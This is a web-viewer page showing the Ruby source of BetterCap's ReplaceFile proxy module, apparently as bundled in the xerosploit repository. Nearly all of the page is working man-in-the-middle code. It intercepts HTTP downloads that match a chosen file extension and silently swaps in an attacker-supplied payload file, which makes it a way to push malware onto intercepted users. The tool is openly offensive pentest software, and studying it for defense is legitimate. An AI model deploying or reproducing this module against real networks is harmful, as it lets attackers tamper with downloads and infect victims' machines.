Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
lionsec
GitHub Repository: lionsec/xerosploit
Path: blob/master/tools/bettercap/modules/replace_file.rb
527 views
1
2
=begin
3
BETTERCAP
4
Author : Simone 'evilsocket' Margaritelli
5
Email : [email protected]
6
Blog : http://www.evilsocket.net/
7
This project is released under the GPL 3 license.
8
=end
9
10
class ReplaceFile < BetterCap::Proxy::HTTP::Module
11
meta(
12
'Name' => 'ReplaceFile',
13
'Description' => 'Replace files being downloaded with a custom one.',
14
'Version' => '1.0.0',
15
'Author' => "Simone 'evilsocket' Margaritelli",
16
'License' => 'GPL3'
17
)
18
19
@@extension = nil
20
@@filename = nil
21
@@payload = nil
22
23
def self.on_options(opts)
24
opts.on( '--file-extension EXT', 'Extension of the files to replace.' ) do |v|
25
@@extension = v
26
end
27
28
opts.on( '--file-replace FILENAME', 'File to use in order to replace the ones matching the extension.' ) do |v|
29
@@filename = File.expand_path v
30
unless File.exists?(@@filename)
31
raise BetterCap::Error, "#{@@filename} file does not exist."
32
end
33
@@payload = File.read(@@filename)
34
end
35
end
36
37
def initialize
38
raise BetterCap::Error, "No --file-extension option specified for the proxy module." if @@extension.nil?
39
raise BetterCap::Error, "No --file-replace option specified for the proxy module." if @@filename.nil?
40
end
41
42
def on_request( request, response )
43
if request.path.include?(".#{@@extension}")
44
BetterCap::Logger.info "Replacing http://#{request.host}#{request.path} with #{@@filename}."
45
46
response['Content-Length'] = @@payload.bytesize
47
response.body = @@payload
48
end
49
end
50
end
51
52